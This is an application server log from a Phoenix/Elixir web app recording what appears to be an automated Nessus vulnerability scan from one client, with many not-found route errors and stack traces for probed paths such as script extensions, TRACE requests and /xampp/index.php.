[Thu Sep  3 07:51:52.929000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35646] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:56.652000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58378] GET /scripts/jJS2gFt_drWZ.html
[Thu Sep  3 07:51:56.671000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58378] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:57.318000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58382] GET /scripts/jJS2gFt_drWZ.cgi
[Thu Sep  3 07:51:57.340000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58382] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:57.901000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58388] GET /scripts/jJS2gFt_drWZ.sh
[Thu Sep  3 07:51:57.920000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58388] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:58.547000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58396] GET /scripts/jJS2gFt_drWZ.pl
[Thu Sep  3 07:51:58.576000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58396] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:59.305000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58400] GET /scripts/jJS2gFt_drWZ.inc
[Thu Sep  3 07:51:59.343000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58400] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.inc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:59.982000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58414] GET /scripts/jJS2gFt_drWZ.shtml
[Thu Sep  3 07:52:00.010000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58414] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:00.725000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58428] GET /scripts/jJS2gFt_drWZ.asp
[Thu Sep  3 07:52:00.750000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58428] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:01.415000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58438] GET /scripts/jJS2gFt_drWZ.php
[Thu Sep  3 07:52:01.439000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58438] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:02.191000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58454] GET /scripts/jJS2gFt_drWZ.php3
[Thu Sep  3 07:52:02.270000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58454] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:03.050000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:58466] GET /scripts/jJS2gFt_drWZ.cfm
[Thu Sep  3 07:52:03.118000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:58466] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/jJS2gFt_drWZ.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:45.554000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49252] GET /
[Thu Sep  3 07:52:45.554000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:49252] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:52:45.555000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49252] Sent 200 in 965µs
[Thu Sep  3 07:52:52.837000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49262] GET /ext-js/app/common/zld_product_spec.js
[Thu Sep  3 07:52:52.890000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49262] ** (Phoenix.Router.NoRouteError) no route found for GET /ext-js/app/common/zld_product_spec.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:52:58.557000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32892] GET /
[Thu Sep  3 07:52:58.557000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:32892] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:52:58.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32892] Sent 200 in 793µs
[Thu Sep  3 07:53:01.172000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32898] GET /
[Thu Sep  3 07:53:01.172000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:32898] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:53:01.173000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32898] Sent 200 in 960µs
[Thu Sep  3 07:53:04.645000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:53:11.839000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42668] GET /
[Thu Sep  3 07:53:11.839000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:42668] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:53:11.840000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42668] Sent 200 in 844µs
[Thu Sep  3 07:53:14.171000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59416] TRACE /Nessus1551185765.html
[Thu Sep  3 07:53:14.205000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59416] ** (Phoenix.Router.NoRouteError) no route found for TRACE /Nessus1551185765.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:14.911000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59430] TRACK /Nessus1551185765.html
[Thu Sep  3 07:53:14.949000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59430] ** (Phoenix.Router.NoRouteError) no route found for TRACK /Nessus1551185765.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:18.214000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59442] GET /xampp/index.php
[Thu Sep  3 07:53:18.244000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59442] ** (Phoenix.Router.NoRouteError) no route found for GET /xampp/index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:26.287000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50308] GET /nessus345678.html
